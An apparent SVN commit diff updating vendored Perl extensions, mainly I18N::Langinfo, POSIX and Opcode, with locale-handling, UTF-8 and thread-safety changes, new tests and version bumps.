     $SIG{'__WARN__'} = sub { push @warnings, @_ };
     $| = 1;

Modified: vendor/perl/dist/ext/I18N-Langinfo/Langinfo.pm
===================================================================
--- vendor/perl/dist/ext/I18N-Langinfo/Langinfo.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/I18N-Langinfo/Langinfo.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -72,7 +72,7 @@
 	YESSTR
 );
 
-our $VERSION = '0.13';
+our $VERSION = '0.17';
 
 XSLoader::load();
 
@@ -90,7 +90,9 @@
 =head1 DESCRIPTION
 
 The langinfo() function queries various locale information that can be
-used to localize output and user interfaces.  The langinfo() requires
+used to localize output and user interfaces.  It uses the current underlying
+locale, regardless of whether or not it was called from within the scope of
+S<C<use locale>>.  The langinfo() requires
 one numeric argument that identifies the locale constant to query:
 if no argument is supplied, C<$_> is used.  The numeric constants
 appropriate to be used as arguments are exportable from I18N::Langinfo.
@@ -111,14 +113,20 @@
 In other words, in the "C" (or English) locale the above will probably
 print something like:
 
-    Sun? [yes/no] 
+    Sun? [yes/no]
 
 but under a French locale
 
-    dim? [oui/non] 
+    dim? [oui/non]
 
-The usually available constants are
+The usually available constants are as follows.
 
+=over 4
+
+=item *
+
+For abbreviated and full length days of the week and months of the year:
+
     ABDAY_1 ABDAY_2 ABDAY_3 ABDAY_4 ABDAY_5 ABDAY_6 ABDAY_7
     ABMON_1 ABMON_2 ABMON_3 ABMON_4 ABMON_5 ABMON_6
     ABMON_7 ABMON_8 ABMON_9 ABMON_10 ABMON_11 ABMON_12
@@ -126,52 +134,141 @@
     MON_1 MON_2 MON_3 MON_4 MON_5 MON_6
     MON_7 MON_8 MON_9 MON_10 MON_11 MON_12
 
-for abbreviated and full length days of the week and months of the year,
+=item *
 
+For the date-time, date, and time formats used by the strftime() function
+(see L<POSIX>):
+
     D_T_FMT D_FMT T_FMT
 
-for the date-time, date, and time formats used by the strftime() function
-(see L<POSIX>)
+=item *
 
+For the locales for which it makes sense to have ante meridiem and post
+meridiem time formats:
+
     AM_STR PM_STR T_FMT_AMPM
 
-for the locales for which it makes sense to have ante meridiem and post
-meridiem time formats,
+=item *
 
-    CODESET CRNCYSTR RADIXCHAR
+For the character code set being used (such as "ISO8859-1", "cp850",
+"koi8-r", "sjis", "utf8", etc.), and for the currency string:
 
-for the character code set being used (such as "ISO8859-1", "cp850",
-"koi8-r", "sjis", "utf8", etc.), for the currency string, for the
+    CODESET CRNCYSTR
+
+=item *
+
+For an alternate representation of digits, for the
 radix character used between the integer and the fractional part
-of decimal numbers (yes, this is redundant with POSIX::localeconv())
+of decimal numbers, the group separator string for large-ish floating point
+numbers (yes, the final two are redundant with
+L<POSIX::localeconv()|POSIX/localeconv>):
 
+    ALT_DIGITS RADIXCHAR THOUSEP
+
+=item *
+
+For the affirmative and negative responses and expressions:
+
     YESSTR YESEXPR NOSTR NOEXPR
 
-for the affirmative and negative responses and expressions, and
+=item *
 
+For the eras based on typically some ruler, such as the Japanese Emperor
+(naturally only defined in the appropriate locales):
+
     ERA ERA_D_FMT ERA_D_T_FMT ERA_T_FMT
 
-for the Japanese Emperor eras (naturally only defined under Japanese locales).
+=back
 
-See your L<langinfo(3)> for more information about the available
+Starting in Perl 5.28, this module is available even on systems that lack a
+native C<nl_langinfo>.  On such systems, it uses various methods to construct
+what that function, if present, would return.  But there are potential
+glitches.  These are the items that could be different:
+
+=over
+
+=item C<ERA>
+
+Unimplemented, so returns C<"">.
+
+=item C<CODESET>
+
+Unimplemented, except on Windows, due to the vagaries of vendor locale names,
+returning C<""> on non-Windows.
+
+=item C<YESEXPR>
+
+=item C<YESSTR>
+
+=item C<NOEXPR>
+
+=item C<NOSTR>
+
+Only the values for English are returned.  C<YESSTR> and C<NOSTR> have been
+removed from POSIX 2008, and are retained here for backwards compatibility.
+Your platform's C<nl_langinfo> may not support them.
+
+=item C<D_FMT>
+
+Always evaluates to C<%x>, the locale's appropriate date representation.
+
+=item C<T_FMT>
+
+Always evaluates to C<%X>, the locale's appropriate time representation.
+
+=item C<D_T_FMT>
+
+Always evaluates to C<%c>, the locale's appropriate date and time
+representation.
+
+=item C<CRNCYSTR>
+
+The return may be incorrect for those rare locales where the currency symbol
+replaces the radix character.
+Send email to L<mailto:perlbug at perl.org> if you have examples of it needing
+to work differently.
+
+=item C<ALT_DIGITS>
+
+Currently this gives the same results as Linux does.
+Send email to L<mailto:perlbug at perl.org> if you have examples of it needing
+to work differently.
+
+=item C<ERA_D_FMT>
+
+=item C<ERA_T_FMT>
+
+=item C<ERA_D_T_FMT>
+
+=item C<T_FMT_AMPM>
+
+These are derived by using C<strftime()>, and not all versions of that function
+know about them.  C<""> is returned for these on such systems.
+
+=back
+
+See your L<nl_langinfo(3)> for more information about the available
 constants.  (Often this means having to look directly at the
 F<langinfo.h> C header file.)
 
-Note that unfortunately none of the above constants are guaranteed
-to be available on a particular platform.  To be on the safe side
-you can wrap the import in an eval like this:
-
-    eval {
-        require I18N::Langinfo;
-        I18N::Langinfo->import(qw(langinfo CODESET));
-        $codeset = langinfo(CODESET()); # note the ()
-    };
-    if ($@) { ... failed ... }
-
 =head2 EXPORT
 
 By default only the C<langinfo()> function is exported.
 
+=head1 BUGS
+
+Before Perl 5.28, the returned values are unreliable for the C<RADIXCHAR> and
+C<THOUSEP> locale constants.
+
+Starting in 5.28, changing locales on threaded builds is supported on systems
+that offer thread-safe locale functions.  These include POSIX 2008 systems and
+Windows starting with Visual Studio 2005, and this module will work properly
+in such situations.  However, on threaded builds on Windows prior to Visual
+Studio 2015, retrieving the items C<CRNCYSTR> and C<THOUSEP> can result in a
+race with a thread that has converted to use the global locale.  It is quite
+uncommon for a thread to have done this.  It would be possible to construct a
+workaround for this; patches welcome: see L<perlapi/switch_to_global_locale>.
+
 =head1 SEE ALSO
 
 L<perllocale>, L<POSIX/localeconv>, L<POSIX/setlocale>, L<nl_langinfo(3)>.
@@ -180,7 +277,7 @@
 
 =head1 AUTHOR
 
-Jarkko Hietaniemi, E<lt>jhi at hut.fiE<gt>
+Jarkko Hietaniemi, E<lt>jhi at hut.fiE<gt>.  Now maintained by Perl 5 porters.
 
 =head1 COPYRIGHT AND LICENSE
 
@@ -187,6 +284,6 @@
 Copyright 2001 by Jarkko Hietaniemi
 
 This library is free software; you can redistribute it and/or modify
-it under the same terms as Perl itself. 
+it under the same terms as Perl itself.
 
 =cut

Modified: vendor/perl/dist/ext/I18N-Langinfo/Langinfo.xs
===================================================================
--- vendor/perl/dist/ext/I18N-Langinfo/Langinfo.xs	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/I18N-Langinfo/Langinfo.xs	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,4 +1,6 @@
 #define PERL_NO_GET_CONTEXT
+#define PERL_EXT
+#define PERL_EXT_LANGINFO
 
 #include "EXTERN.h"
 #include "perl.h"
@@ -7,6 +9,8 @@
 #ifdef I_LANGINFO
 #   define __USE_GNU 1 /* Enables YESSTR, otherwise only __YESSTR. */
 #   include <langinfo.h>
+#else
+#   include <perl_langinfo.h>
 #endif
 
 #include "const-c.inc"
@@ -20,6 +24,9 @@
 SV*
 langinfo(code)
 	int	code
+  PREINIT:
+        const   char * value;
+        STRLEN  len;
   PROTOTYPE: _
   CODE:
 #ifdef HAS_NL_LANGINFO
@@ -26,11 +33,68 @@
 	if (code < 0) {
 	    SETERRNO(EINVAL, LIB_INVARG);
 	    RETVAL = &PL_sv_undef;
-	} else {
-            RETVAL = newSVpv(nl_langinfo(code), 0);
+	} else
+#endif
+        {
+            value = Perl_langinfo(code);
+            len = strlen(value);
+            RETVAL = newSVpvn(Perl_langinfo(code), len);
+
+            /* Now see if the UTF-8 flag should be turned on */
+#ifdef USE_LOCALE_CTYPE     /* No utf8 strings if not using LC_CTYPE */
+
+            /* If 'value' is ASCII or not legal UTF-8, the flag doesn't get
+             * turned on, so skip the followin code */
+            if (is_utf8_non_invariant_string((U8 *) value, len)) {
+                int category;
+
+                /* Check if the locale is a UTF-8 one.  The returns from
+                 * Perl_langinfo() are in different locale categories, so check the
+                 * category corresponding to this item */
+                switch (code) {
+
+                    /* This should always return ASCII, so we could instead
+                     * legitimately panic here, but soldier on */
+                    case CODESET:
+                        category = LC_CTYPE;
+                        break;
+
+                    case RADIXCHAR:
+                    case THOUSEP:
+#  ifdef USE_LOCALE_NUMERIC
+                        category = LC_NUMERIC;
+#  else
+                        /* Not ideal, but the best we can do on such a platform */
+                        category = LC_CTYPE;
+#  endif
+                        break;
+
+                    case CRNCYSTR:
+#  ifdef USE_LOCALE_MONETARY
+                        category = LC_MONETARY;
+#  else
+                        category = LC_CTYPE;
+#  endif
+                        break;
+
+                    default:
+#  ifdef USE_LOCALE_TIME
+                        category = LC_TIME;
+#  else
+                        category = LC_CTYPE;
+#  endif
+                        break;
+                }
+
+                /* Here the return is legal UTF-8.  Turn on that flag if the
+                 * locale is UTF-8.  (Otherwise, could just be a coincidence.)
+                 * */
+                if (_is_cur_LC_category_utf8(category)) {
+                    SvUTF8_on(RETVAL);
+                }
+            }
+#endif /* USE_LOCALE_CTYPE */
         }
-#else
-	croak("nl_langinfo() not implemented on this architecture");
-#endif
+
   OUTPUT:
-	RETVAL
+        RETVAL

Modified: vendor/perl/dist/ext/I18N-Langinfo/t/Langinfo.t
===================================================================
--- vendor/perl/dist/ext/I18N-Langinfo/t/Langinfo.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/I18N-Langinfo/t/Langinfo.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,16 +2,43 @@
 use strict;
 use Config;
 use Test::More;
+require "../../t/loc_tools.pl";
 
 plan skip_all => "I18N::Langinfo or POSIX unavailable" 
     if $Config{'extensions'} !~ m!\bI18N/Langinfo\b!;
 
-my @constants = qw(ABDAY_1 DAY_1 ABMON_1 MON_1 RADIXCHAR AM_STR THOUSEP D_T_FMT D_FMT T_FMT);
+my @times  = qw( MON_1 MON_2 MON_3 MON_4 MON_5 MON_6 MON_7
+                 MON_8 MON_9 MON_10 MON_11 MON_12
+                 DAY_1 DAY_2 DAY_3 DAY_4 DAY_5 DAY_6 DAY_7);
+my @constants = qw(ABDAY_1 DAY_1 ABMON_1 RADIXCHAR AM_STR THOUSEP D_T_FMT
+                   D_FMT T_FMT);
+push @constants, @times;
 
-plan tests => 1 + 3 * @constants;
+my %want =
+    (
+        RADIXCHAR	=> ".",
+        THOUSEP	=> "",
+     );
 
-use_ok('I18N::Langinfo', 'langinfo', @constants);
+# Abbreviated and full are swapped in many locales in early netbsd
+if (   $Config{osname} !~ / netbsd /ix
+    || $Config{osvers} !~ / ^ [1-6] \. /x)
+{
+    $want{ABDAY_1} = "Sun";
+    $want{DAY_1}   = "Sunday";
+    $want{ABMON_1} = "Jan";
+    $want{MON_1}   = "January";
+}
 
+my @want = sort keys %want;
+
+plan tests => 1 + 3 * @constants + keys(@want) + 1 + 2;
+
+use_ok('I18N::Langinfo', 'langinfo', @constants, 'CRNCYSTR');
+
+use POSIX;
+setlocale(LC_ALL, "C");
+
 for my $constant (@constants) {
     SKIP: {
         my $string = eval { langinfo(eval "$constant()") };
@@ -22,53 +49,103 @@
     }
 }
 
-exit(0);
+for my $i (1.. at want) {
+    my $try = $want[$i-1];
+    eval { I18N::Langinfo->import($try) };
+    SKIP: {
+        skip "$try not defined", 1, if $@;
+        no strict 'refs';
+        is (langinfo(&$try), $want{$try}, "$try => '$want{$try}'");
+    }
+}
 
-# Background: the langinfo() (in C known as nl_langinfo()) interface
-# is supposed to be a portable way to fetch various language/country
-# (locale) dependent constants like "the first day of the week" or
-# "the decimal separator".  Give a portable (numeric) constant,
-# get back a language-specific string.  That's a comforting fantasy.
-# Now tune in for blunt reality: vendors seem to have implemented for
-# those constants whatever they felt like implementing.  The UNIX
-# standard says that one should have the RADIXCHAR constant for the
-# decimal separator.  Not so for many Linux and BSD implementations.
-# One should have the CODESET constant for returning the current
-# codeset (say, ISO 8859-1).  Not so.  So let's give up any real
-# testing (leave the old testing code here for old times' sake,
-# though.) --jhi
+my $comma_locale;
+for (find_locales( [ 'LC_NUMERIC' ] )) {
+    use POSIX;
+    use locale;
+    setlocale(LC_NUMERIC, $_) or next;
+    my $in = 4.2; # avoid any constant folding bugs
+    my $s = sprintf("%g", $in);
+    if ($s eq "4,2")  {
+        $comma_locale = $_;
+        last;
+    }
+}
 
-my %want =
-    (
-     ABDAY_1	=> "Sun",
-     DAY_1	=> "Sunday",
-     ABMON_1	=> "Jan",
-     MON_1	=> "January",
-     RADIXCHAR	=> ".",
-     AM_STR	=> qr{^(?:am|a\.m\.)$}i,
-     THOUSEP	=> "",
-     D_T_FMT	=> qr{^%a %b %[de] %H:%M:%S %Y$},
-     D_FMT	=> qr{^%m/%d/%y$},
-     T_FMT	=> qr{^%H:%M:%S$},
-     );
+SKIP: {
+    skip "Couldn't find a locale with a comma decimal pt", 1
+                                                        unless $comma_locale;
 
-    
-my @want = sort keys %want;
+    no strict 'refs';
+    is (langinfo(&RADIXCHAR), ",",
+        "Returns ',' for decimal pt for locale '$comma_locale'");
+}
 
-print "1..", scalar @want, "\n";
-    
-for my $i (1.. at want) {
-    my $try = $want[$i-1];
-    eval { I18N::Langinfo->import($try) };
-    unless ($@) {
-	my $got = langinfo(&$try);
-	if (ref $want{$try} && $got =~ $want{$try} || $got eq $want{$try}) {
-	    print qq[ok $i - $try is "$got"\n];
-	} else {
-	    print qq[not ok $i - $try is "$got" not "$want{$try}"\n];
-	}
-    } else {
-	print qq[ok $i - Skip: $try not defined\n];
+SKIP: {
+
+    my $found_time = 0;
+    my $found_monetary = 0;
+    my @locales = find_locales( [ 'LC_TIME', 'LC_CTYPE', 'LC_MONETARY' ]);
+
+    while (defined (my $utf8_locale = find_utf8_ctype_locale(\@locales))) {
+        if (! $found_time) {
+            setlocale(&LC_TIME, $utf8_locale);
+            foreach my $time_item (@times) {
+                my $eval_string = "langinfo(&$time_item)";
+                my $time_name = eval $eval_string;
+                if ($@) {
+                    fail("'$eval_string' failed: $@");
+                    last SKIP;
+                }
+                if (! defined $time_name) {
+                    fail("'$eval_string' returned undef");
+                    last SKIP;
+                }
+                if ($time_name eq "") {
+                    fail("'$eval_string' returned an empty name");
+                    last SKIP;
+                }
+
+                if ($time_name =~ /\P{ASCII}/) {
+                    ok(utf8::is_utf8($time_name), "The name for '$time_item' in $utf8_locale is a UTF8 string");
+                    $found_time = 1;
+                    last;
+                }
+            }
+        }
+
+        if (! $found_monetary) {
+            setlocale(&LC_MONETARY, $utf8_locale);
+            my $eval_string = "langinfo(&CRNCYSTR)";
+            my $symbol = eval $eval_string;
+            if ($@) {
+                fail("'$eval_string' failed: $@");
+                last SKIP;
+            }
+            if (! defined $symbol) {
+                fail("'$eval_string' returned undef");
+                last SKIP;
+            }
+            if ($symbol =~ /\P{ASCII}/) {
+                ok(utf8::is_utf8($symbol), "The name for 'CRNCYSTR' in $utf8_locale is a UTF8 string");
+                $found_monetary = 1;
+            }
+        }
+
+        last if $found_monetary && $found_time;
+
+        # Remove this locale from the list, and loop to find another utf8
+        # locale
+        @locales = grep { $_ ne $utf8_locale } @locales;
     }
+
+    if ($found_time + $found_monetary < 2) {
+        my $message = "";
+        $message .= "time name" unless $found_time;
+        if (! $found_monetary) {
+            $message .= " nor" if $message;
+            "monetary name";
+        }
+        skip("Couldn't find a locale with a non-ascii $message", 2 - $found_time - $found_monetary);
+    }
 }
-

Modified: vendor/perl/dist/ext/NDBM_File/Makefile.PL
===================================================================
--- vendor/perl/dist/ext/NDBM_File/Makefile.PL	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/NDBM_File/Makefile.PL	2018-12-22 22:55:19 UTC (rev 12126)
@@ -4,5 +4,4 @@
     LIBS => ["-L/usr/local/lib -lndbm", "-ldbm -lucb"],
     XSPROTOARG => '-noprototypes', 		# XXX remove later?
     VERSION_FROM => 'NDBM_File.pm',
-    INC => ($^O eq "MacOS" ? "-i ::::db:include" : "")
 );

Modified: vendor/perl/dist/ext/ODBM_File/ODBM_File.pm
===================================================================
--- vendor/perl/dist/ext/ODBM_File/ODBM_File.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/ODBM_File/ODBM_File.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -7,7 +7,7 @@
 require XSLoader;
 
 our @ISA = qw(Tie::Hash);
-our $VERSION = "1.14";
+our $VERSION = "1.15";
 
 XSLoader::load();
 

Modified: vendor/perl/dist/ext/ODBM_File/ODBM_File.xs
===================================================================
--- vendor/perl/dist/ext/ODBM_File/ODBM_File.xs	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/ODBM_File/ODBM_File.xs	2018-12-22 22:55:19 UTC (rev 12126)
@@ -175,6 +175,7 @@
 	    croak("odbm store returned %d, errno %d, key \"%s\"",
 			RETVAL,errno,key.dptr);
 	}
+        PERL_UNUSED_VAR(flags);
 
 int
 odbm_DELETE(db, key)

Modified: vendor/perl/dist/ext/Opcode/Opcode.pm
===================================================================
--- vendor/perl/dist/ext/Opcode/Opcode.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/Opcode/Opcode.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -6,7 +6,7 @@
 
 our($VERSION, @ISA, @EXPORT_OK);
 
-$VERSION = "1.39";
+$VERSION = "1.43";
 
 use Carp;
 use Exporter ();
@@ -353,7 +353,7 @@
 can easily be used to implement a resource attack (e.g., consume all
 available memory).
 
-    concat repeat join range
+    concat multiconcat repeat join range
 
     anonlist anonhash
 

Modified: vendor/perl/dist/ext/Opcode/Opcode.xs
===================================================================
--- vendor/perl/dist/ext/Opcode/Opcode.xs	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/Opcode/Opcode.xs	2018-12-22 22:55:19 UTC (rev 12126)
@@ -255,7 +255,7 @@
 BOOT:
 {
     MY_CXT_INIT;
-    assert(PL_maxo < OP_MASK_BUF_SIZE);
+    STATIC_ASSERT_STMT(PL_maxo < OP_MASK_BUF_SIZE);
     opset_len = (PL_maxo + 7) / 8;
     if (opcode_debug >= 1)
 	warn("opset_len %ld\n", (long)opset_len);

Modified: vendor/perl/dist/ext/POSIX/Makefile.PL
===================================================================
--- vendor/perl/dist/ext/POSIX/Makefile.PL	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/POSIX/Makefile.PL	2018-12-22 22:55:19 UTC (rev 12126)
@@ -20,6 +20,9 @@
 if ($^O eq 'aix' && $Config{uselongdouble}) {
     push @libs, qw(c128);
 }
+if ($^O eq 'cygwin' && $Config{usequadmath}) {
+    push @libs, qw(quadmath);
+}
 WriteMakefile(
     NAME	=> 'POSIX',
     @libs ? ( 'LIBS' => [ join(" ", map { "-l$_" } @libs) ] ) : (),
@@ -47,7 +50,8 @@
       ESOCKTNOSUPPORT ESPIPE ESRCH ESTALE ETIME ETIMEDOUT ETOOMANYREFS ETXTBSY
       EUSERS EWOULDBLOCK EXDEV FILENAME_MAX F_OK HUPCL ICANON ICRNL IEXTEN
       IGNBRK IGNCR IGNPAR INLCR INPCK INT_MAX INT_MIN ISIG ISTRIP IXOFF IXON
-      LC_ALL LC_COLLATE LC_CTYPE LC_MESSAGES LC_MONETARY LC_NUMERIC LC_TIME
+      LC_ADDRESS LC_ALL LC_COLLATE LC_CTYPE LC_IDENTIFICATION LC_MEASUREMENT
+      LC_MESSAGES LC_MONETARY LC_NUMERIC LC_PAPER LC_TELEPHONE LC_TIME
       LINK_MAX LONG_MAX LONG_MIN L_ctermid L_cuserid MAX_CANON
       MAX_INPUT MB_LEN_MAX MSG_CTRUNC MSG_DONTROUTE MSG_EOR MSG_OOB MSG_PEEK
       MSG_TRUNC MSG_WAITALL NAME_MAX NCCS NGROUPS_MAX NOFLSH OPEN_MAX OPOST
@@ -66,7 +70,8 @@
       _SC_ARG_MAX _SC_CHILD_MAX _SC_CLK_TCK _SC_JOB_CONTROL _SC_NGROUPS_MAX
       _SC_OPEN_MAX _SC_PAGESIZE _SC_SAVED_IDS _SC_STREAM_MAX _SC_TZNAME_MAX
       _SC_VERSION EAI_AGAIN EAI_BADFLAGS EAI_FAIL EAI_FAMILY EAI_MEMORY EAI_NONAME
-      EAI_SERVICE EAI_SOCKTYPE EAI_SYSTEM EAI_OVERFLOW),
+      EAI_SERVICE EAI_SOCKTYPE EAI_SYSTEM EAI_OVERFLOW
+      PRIO_PROCESS PRIO_PGRP PRIO_USER),
    {name=>"CLK_TCK", not_constant=>1},
    {name=>"MB_CUR_MAX", not_constant=>1},
    {name=>"EXIT_FAILURE", default=>["IV", "1"]},

Modified: vendor/perl/dist/ext/POSIX/POSIX.xs
===================================================================
--- vendor/perl/dist/ext/POSIX/POSIX.xs	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/POSIX/POSIX.xs	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,4 +1,5 @@
 #define PERL_EXT_POSIX
+#define PERL_EXT
 
 #ifdef NETWARE
 	#define _POSIX_
@@ -34,17 +35,13 @@
 #ifdef WIN32
 #include <sys/errno2.h>
 #endif
-#ifdef I_FLOAT
 #include <float.h>
-#endif
 #ifdef I_FENV
 #if !(defined(__vax__) && defined(__NetBSD__))
 #include <fenv.h>
 #endif
 #endif
-#ifdef I_LIMITS
 #include <limits.h>
-#endif
 #include <locale.h>
 #include <math.h>
 #ifdef I_PWD
@@ -53,15 +50,20 @@
 #include <setjmp.h>
 #include <signal.h>
 #include <stdarg.h>
-
-#ifdef I_STDDEF
 #include <stddef.h>
-#endif
 
 #ifdef I_UNISTD
 #include <unistd.h>
 #endif
 
+#ifdef I_SYS_TIME
+# include <sys/time.h>
+#endif
+
+#ifdef I_SYS_RESOURCE
+# include <sys/resource.h>
+#endif
+
 #if defined(USE_QUADMATH) && defined(I_QUADMATH)
 
 #  undef M_E
@@ -1328,9 +1330,7 @@
 #if defined(I_TERMIOS)
 #include <termios.h>
 #endif
-#ifdef I_STDLIB
 #include <stdlib.h>
-#endif
 #ifndef __ultrix__
 #include <string.h>
 #endif
@@ -1598,8 +1598,8 @@
 
 /* The Linux man pages say these are the field names for the structure
  * components that are LC_NUMERIC; the rest being LC_MONETARY */
-#   define isLC_NUMERIC_STRING(name) (strEQ(name, "decimal_point")     \
-                                      || strEQ(name, "thousands_sep")  \
+#   define isLC_NUMERIC_STRING(name) (   strEQ(name, "decimal_point")   \
+                                      || strEQ(name, "thousands_sep")   \
                                                                         \
                                       /* There should be no harm done   \
                                        * checking for this, even if     \
@@ -1792,7 +1792,7 @@
         perl_tz_env = "";
     if (crt_tz_env == NULL)
         crt_tz_env = "";
-    if (strcmp(perl_tz_env, crt_tz_env) != 0) {
+    if (strNE(perl_tz_env, crt_tz_env)) {
         newenv = (char*)malloc((strlen(perl_tz_env) + 4) * sizeof(char));
         if (newenv != NULL) {
             sprintf(newenv, "TZ=%s", perl_tz_env);
@@ -1897,8 +1897,9 @@
     OUTPUT:
 	RETVAL
 
-# If we define TCSANOW here then both a found and not found constant sub
-# are created causing a Constant subroutine TCSANOW redefined warning
+    # If we define TCSANOW here then both a found and not found constant sub
+    # are created causing a Constant subroutine TCSANOW redefined warning
+
 #ifndef TCSANOW
 #  define DEF_SETATTR_ACTION 0
 #else
@@ -2124,15 +2125,67 @@
 	localeconv(); /* A stub to call not_here(). */
 #else
 	struct lconv *lcbuf;
+#  if defined(USE_ITHREADS)                                             \
+   && defined(HAS_POSIX_2008_LOCALE)                                    \
+   && defined(HAS_LOCALECONV_L) /* Prefer this thread-safe version */
+        bool do_free = FALSE;
+        locale_t cur = NULL;
+#  elif defined(TS_W32_BROKEN_LOCALECONV)
+        const char * save_global;
+        const char * save_thread;
+#  endif
+        DECLARATION_FOR_LC_NUMERIC_MANIPULATION;
 
         /* localeconv() deals with both LC_NUMERIC and LC_MONETARY, but
          * LC_MONETARY is already in the correct locale */
-        DECLARATION_FOR_LC_NUMERIC_MANIPULATION;
+#  ifdef USE_LOCALE_MONETARY
+
+        const bool is_monetary_utf8 = _is_cur_LC_category_utf8(LC_MONETARY);
+#  endif
+#  ifdef USE_LOCALE_NUMERIC
+
+        bool is_numeric_utf8;
+
         STORE_LC_NUMERIC_FORCE_TO_UNDERLYING();
 
+        is_numeric_utf8 = _is_cur_LC_category_utf8(LC_NUMERIC);
+#  endif
+
 	RETVAL = newHV();
 	sv_2mortal((SV*)RETVAL);
-	if ((lcbuf = localeconv())) {
+#  if defined(USE_ITHREADS)                         \
+   && defined(HAS_POSIX_2008_LOCALE)                \
+   && defined(HAS_LOCALECONV_L)                     \
+   && defined(HAS_DUPLOCALE)
+
+        cur = uselocale((locale_t) 0);
+        if (cur == LC_GLOBAL_LOCALE) {
+            cur = duplocale(LC_GLOBAL_LOCALE);
+            do_free = TRUE;
+        }
+
+        lcbuf = localeconv_l(cur);
+#  else
+        LOCALE_LOCK_V;  /* Prevent interference with other threads using
+                           localeconv() */
+#    ifdef TS_W32_BROKEN_LOCALECONV
+        /* This is a workaround for a Windows bug prior to VS 15, in which
+         * localeconv only looks at the global locale.  We toggle to the global
+         * locale; populate the return; then toggle back.  We have to use
+         * LC_ALL instead of the individual ones because of another bug in
+         * Windows */
+
+        save_thread  = savepv(Perl_setlocale(LC_NUMERIC, NULL));
+
+        _configthreadlocale(_DISABLE_PER_THREAD_LOCALE);
+
+        save_global  = savepv(Perl_setlocale(LC_ALL, NULL));
+
+        Perl_setlocale(LC_ALL,  save_thread);
+#    endif
+        lcbuf = localeconv();
+#  endif
+	if (lcbuf) {
 	    const struct lconv_offset *strings = lconv_strings;
 	    const struct lconv_offset *integers = lconv_integers;
 	    const char *ptr = (const char *) lcbuf;
@@ -2140,35 +2193,35 @@
 	    while (strings->name) {
                 /* This string may be controlled by either LC_NUMERIC, or
                  * LC_MONETARY */
-                bool is_utf8_locale
-#if defined(USE_LOCALE_NUMERIC) && defined(USE_LOCALE_MONETARY)
-                 = _is_cur_LC_category_utf8((isLC_NUMERIC_STRING(strings->name))
-                                             ? LC_NUMERIC
-                                             : LC_MONETARY);
-#elif defined(USE_LOCALE_NUMERIC)
-                 = _is_cur_LC_category_utf8(LC_NUMERIC);
-#elif defined(USE_LOCALE_MONETARY)
-                 = _is_cur_LC_category_utf8(LC_MONETARY);
-#else
-                 = FALSE;
-#endif
+                const bool is_utf8_locale =
+#  if defined(USE_LOCALE_NUMERIC) && defined(USE_LOCALE_MONETARY)
+                                        (isLC_NUMERIC_STRING(strings->name))
+                                        ? is_numeric_utf8
+                                        : is_monetary_utf8;
+#  elif defined(USE_LOCALE_NUMERIC)
+                                        is_numeric_utf8;
+#  elif defined(USE_LOCALE_MONETARY)
+                                        is_monetary_utf8;
+#  else
+                                        FALSE;
+#  endif
 
 		const char *value = *((const char **)(ptr + strings->offset));
 
 		if (value && *value) {
+                    const STRLEN value_len = strlen(value);
+
+                    /* We mark it as UTF-8 if a utf8 locale and is valid and
+                     * variant under UTF-8 */
+                    const bool is_utf8 = is_utf8_locale
+                                     &&  is_utf8_non_invariant_string(
+                                                                (U8*) value,
+                                                                value_len);
 		    (void) hv_store(RETVAL,
-                        strings->name,
-                        strlen(strings->name),
-                        newSVpvn_utf8(
-                                value,
-                                strlen(value),
-
-                                /* We mark it as UTF-8 if a utf8 locale and is
-                                 * valid and variant under UTF-8 */
-                                     is_utf8_locale
-                                && ! is_utf8_invariant_string((U8 *) value, 0)
-                                &&   is_utf8_string((U8 *) value, 0)),
-                    0);
+                                    strings->name,
+                                    strlen(strings->name),
+                                    newSVpvn_utf8(value, value_len, is_utf8),
+                                    0);
             }
                 strings++;
 	    }
@@ -2182,7 +2235,26 @@
                 integers++;
             }
 	}
-        RESTORE_LC_NUMERIC_STANDARD();
+#  if defined(USE_ITHREADS)                         \
+   && defined(HAS_POSIX_2008_LOCALE)                \
+   && defined(HAS_LOCALECONV_L)
+        if (do_free) {
+            freelocale(cur);
+        }
+#  else
+#    ifdef TS_W32_BROKEN_LOCALECONV
+        Perl_setlocale(LC_ALL, save_global);
+
+        _configthreadlocale(_ENABLE_PER_THREAD_LOCALE);
+
+        Perl_setlocale(LC_ALL, save_thread);
+
+        Safefree(save_global);
+        Safefree(save_thread);
+#    endif
+        LOCALE_UNLOCK_V;
+#  endif
+        RESTORE_LC_NUMERIC();
 #endif  /* HAS_LOCALECONV */
     OUTPUT:
 	RETVAL
@@ -2194,116 +2266,12 @@
     PREINIT:
 	char *		retval;
     CODE:
-#ifdef USE_LOCALE_NUMERIC
-        /* A 0 (or NULL) locale means only query what the current one is.  We
-         * have the LC_NUMERIC name saved, because we are normally switched
-         * into the C locale for it.  Switch back so an LC_ALL query will yield
-         * the correct results; all other categories don't require special
-         * handling */
-        if (locale == 0) {
-            if (category == LC_NUMERIC) {
-                XSRETURN_PV(PL_numeric_name);
-            }
-#   ifdef LC_ALL
-            else if (category == LC_ALL) {
-                SET_NUMERIC_UNDERLYING();
-            }
-#   endif
-        }
-#endif
-#ifdef WIN32    /* Use wrapper on Windows */
-	retval = Perl_my_setlocale(aTHX_ category, locale);
-#else
-	retval = setlocale(category, locale);
-#endif
-        DEBUG_L(PerlIO_printf(Perl_debug_log,
-            "%s:%d: %s\n", __FILE__, __LINE__,
-                _setlocale_debug_string(category, locale, retval)));
-	if (! retval) {
-            /* Should never happen that a query would return an error, but be
-             * sure and reset to C locale */
-            if (locale == 0) {
-                SET_NUMERIC_STANDARD();
-            }
+	retval = (char *) Perl_setlocale(category, locale);
+        if (! retval) {
             XSRETURN_UNDEF;
         }
 
